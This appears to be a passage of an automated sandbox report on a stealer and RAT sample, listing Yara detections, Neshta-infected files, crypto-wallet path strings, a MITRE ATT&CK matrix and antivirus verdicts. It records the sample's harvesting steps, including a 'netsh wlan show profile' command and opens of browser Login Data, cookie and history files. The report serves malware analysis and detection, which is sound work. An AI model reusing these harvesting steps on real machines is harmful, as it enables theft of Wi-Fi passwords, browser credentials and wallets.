Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED

Yara detected StormKitty Stealer

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Yara detected WorldWind Stealer

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: LisectAVT_2403002B_4.exe, 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Yara detected WorldWind Stealer

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	11 Obfuscated Files or Information	11 Input Capture	124 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Timestomp	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	11 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	341 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	221 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LisectAVT_2403002B_4.exe	100%	Avira	W32/Neshta.A
LisectAVT_2403002B_4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Uninstall.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
